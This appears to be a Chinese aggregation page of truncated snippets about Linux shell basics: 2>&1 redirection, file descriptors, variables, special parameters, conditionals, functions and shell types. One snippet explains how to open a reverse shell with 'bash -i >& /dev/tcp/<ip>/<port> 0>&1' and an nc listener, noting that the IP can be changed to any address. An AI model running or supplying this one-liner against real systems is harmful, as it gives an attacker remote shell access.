shell中可能经常能看到:echo log > /dev/null 2>&1 命令的结果可以通过%>的形式来定义输出 /dev/null :代表空设备文件 > :代表重定向到哪里,例如:echo...那么1和2是什么? 在shell中,每个进程都和三个系统文件 相关联:标准输入stdin,标准输出stdout、标准错误stderr,三个系统文件的文件描述符分别为0,1、2。.../test.sh > test2.log 2>&1 $ cat test2.log ....linux shell 中"2>&1"含义脚本是: nohup /mnt/Nand3/H2000G >/dev/null 2>&1 & 对于&1 更准确的说应该是文件描述符 1,而1 一般代表的就是...用strace可以看到: 1. command > file 2>&1 这个命令中实现重定向的关键系统调用序列是: open(file) == 3 dup2(3,1) dup2(1,2) 2.
Part1前言 linux shell 常见的面试问题,基本是先让你随便说一些,测试一下你掌握的广度,这时候你至少要说上十个才行,但是!...Part2基础命令 注意,每个linux命令都包含很多参数,我这里不像网上教程一样全写出来,我只会把常用的或者面试大概率遇到的参数写出来,以免参数太多大家记混。...whereis 查找文件 where 参数 目录 文件 多用于查找原始代码 二进制 帮助等系统文件 如:whereis bash rhmask 加密文件 rhmask -d 原文件 加密后文件 scp 用于linux
小姐姐的照片一张 在UNIX系统中,Shell拥有一个强大的特性:文件名替换。...就像这样: $ cat chaptl chapt2 chapt3 chapt4 . $ 但是这种方法太麻烦了。...$ Shell会自动将模式 *替换成当前目录下能够匹配到的所有文件名。如果你在其他命令中使用 *,相同的替换过程一样会发生。那么echo命令呢?...命令行中只要是 *出现的地方,Shell都会进行替换: $ echo *: * chaptl chapt2 chapt3 chapt4 : chaptl chapt2 chapt3 chapt4...* aa aax alice bb cc report1 report2 report3 $ 在上面的例子中,??
/test.sh > log.txt 2>&1 这里的2>&1是什么意思?该如何理解? 先说结论:上面的调用表明将....-> /dev/pts/7 255 -> /home/hyb/workspaces/shell/test.sh 可以看到,test.sh打开了0,1,2三个文件描述符。...那么现在就容易理解前面的疑问了,2>&1表明将文件描述2(标准错误输出)的内容重定向到文件描述符1(标准输出),为什么1前面需要&?...我们同样通过前面的方法,可以看到test.sh进程的文件描述符情况如下: 0 -> /dev/pts/7 1 -> /home/hyb/workspaces/shell/log.txt 2 ->.../home/hyb/workspaces/shell/log.txt 255 -> /home/hyb/workspaces/shell/test.sh 我们可以很明显地看到,文件描述符1和2都指向了
什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?
1 变量的分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...SHELL:当前使用的SHELL HISTSIZE:历史命令的最大条数 MAIL:当前用户的邮箱目录 PATH:可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID: echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux中的变量一共有5种类型,分别是:字符、整型、只读、环境变量。
变量说明: $$ Shell自己PID(ProcessID) $! Shell背景上次执行Process的PID $?...如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出全部參数。 $@ 全部參数列表。...如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出全部參数。 $# 加入到Shell的參数个数 $0 Shell本身的文件名称 $1~$n 加入到Shell的各參数值。...$1是第1參数、$2是第2參数…。 演示样例: #!...complete list is 123456 QQ The complete list is 123456 The complete list is QQ The complete list is 2
首先了解下1和2在Linux中代表什么 在Linux系统中0 1 2是一个文件描述符 名称 代码 操作符 Java中表示 Linux 下文件描述符(Debian 为例) 标准输入(stdin) 0 1的写法其实是将标准错误输出重定向到名为"1"的文件里去了 写成2&>1也是不可以的 为什么2>&1要放在后面 考虑如下一条shell命令 nohup java -jar app.jar...2指向1,而1指向log,因此2也指向了log) 再来分析下 nohup java -jar app.jar 2>&1 >log & 本来1----->屏幕 (1指向屏幕) 执行2>&1后, 2---...-->1 (2指向1,而1指向屏幕,因此2也指向了屏幕) 执行>log后, 1----->log (1指向log,2还是指向屏幕) 所以这就不是我们想要的结果。...,但是第一中方式是最佳选择,一般使用第一种 参考: https://unix.stackexchange.com/questions/89386/what-is-symbol-and-in-unix-linux
-s: 表示列出命令的语法格式 例子: help -s help help: help [-dms] [pattern ...] 2、echo:用来显示一行文字。默认自动换行。...去执行,当子shell执行完成后,它的变量a会被系统收回。...@kelvin-Founder:~$ ls ls a.c Linux material project_files record shell software 桌面 可用于对shell脚本的排错...name" your_name echo "your name is:" $your_name read -a arr:将一行数据存入数组arr 例如: read -a arr <<(echo 1 2...343 23) 这样,echo ${arr[2]} 的输出结果就是343 read还可以读值给多个变量: IFS=':' read f1 f2 f3 f4 f5 f6 f7 < /etc/passwd
shell里有本地变量,全局变量和内置变量。 变量里有变量名和变量值。 (1)本地变量分为普通变量和命令变量 普通变量 ? 记住:要迭代必须是双引号 ?...命令变量 ? 记住要用`(反引号),这时输出的是命令返回的语句 (2)全局变量 通过env可以查看当前的全局变量 ?...删除变量 unset方法: ? (3)内置变量 一些可以直接拿来用的变量: $0:获取当前文件的名字 ?...可见0的输出就是此脚本的名称 #:获取输入参数的总个数 这里我就不再进行演示了
一、shell编程中条件表达式的使用 if #条件 then Command else Command fi #别忘了这个结尾 如果if语句忘了结尾fi test.sh: line...四、shell的if与c语言if的功能上的区别 shell if:0为真,接着走then。...整数变量表达式 if [ int1 -eq int2] 如果int1等于int2 if [ int1 -ne int2 ] 如果不等于 if [ int1 -ge int2...同时由于shell里没有> 和< ,会被当作尖括号,整数条件表达式只有-ge, -gt,-le, lt。 5....=放在别的地方是赋值,放在if [ ]里就是字符串等于,shell里面没有==的,那是c语言的等于。 6.= 作为等于时,其两边都必须加空格,否则失效!!!
//省略 # ------------------------------------------ printf "The complete list is %s\n" "$$" //Shell本身的...//Shell最后运行的后台Process的PID printf "The complete list is %s\n" "$?"...如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。...Shell本身的文件名 printf "The complete list is %s\n" "$1" //添加到Shell的各参数值。...$1是第1参数、$2是第2参数…。 printf "The complete list is %s\n" "$2" //添加到Shell的各参数值。$1是第1参数、$2是第2参数…。
5、shell 中一般变量使用大写; 6、赋值时等号两侧不能有空白“a=2”; (base) xiehs 16:23:17 ~/08.shell $ a=1 (base) xiehs 16...:23:19 ~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中,直接使用“$”符,即可引用变量的值;一般配合 echo 命令可以打印变量的值; (base...) xiehs 16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs...16:23:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符,可以使用”{}”进行区分。...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${
函数创建两种方式: function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script,因此可以用调用脚本的方式来调用函数,在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code,可以用$?...也可以用return 关键字来返回0~255的任意数字,本质上也是exit code ,第三种方式是输出需要的值,然后得到,result=`fname 1 2 3 ` 在fname中可以用echo打印出需要的值
Linux shell 1、shell的概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...用户可以通过shell来启动、挂起、停止。甚至编写一些程序。 2)它还是一个功能强大的编程语言,易编辑,易调试,灵活性强。...shell是结核性的脚本语言,在我们 shell中可以直接调用linux系统命令。...这一行,那么它执行时会默认用当前Shell去解释这个脚本(即:$SHELL环境变量) 2、shell执行的原理 1)在我们计算机语言中,最底层是硬件,硬件是通过内核进行管理的。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin
接触过一些 shell 脚本,做服务端运维时也时常用到,是时候专门学习一下了。...=||/usr/bin/lesspipe.sh %sXDG_RUNTIME_DIR=/run/user/0HISTTIMEFORMAT=%F %T root_=/usr/bin/printenv 在 shell...Substitution and Constants 命令替换 echo Updated on $(date +"%x %r %Z") by $USER $(date+"%x %r %Z") 中 $() 告诉 shell...This older form is compatible with the original Bourne shell (sh)....The bash shell fully supports scripts written for sh, so the following forms are equivalent: $(command
一个系统可以存在多个shell,可以通过cat /etc/shells命令查看系统中安装的shell,不同的shell可能支持的命令语法是不相同的。 2....可以通过echo $SHELL查看当前使用的shell ....还是hello world程序 首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名): #!.../bin/sh osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ... like unix/linux" fi fi #!
2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...1 1.3third bash -i > /dev/tcp/127.0.0.1/2345 0>&1 2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1.../2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell语句种,最好是有标准输入输出和标准输出
当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。
Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。 同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。 C Shell:是SUN公司Shell的BSD版本。 ...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种...shell,我们可以这样做: env | more 如图: 我们也可以修改当前的shell: chsh -s 新的shell 系统中的shell如下图: 新的shell可以是: /bin/
领取专属 10元无门槛券
手把手带您无忧上云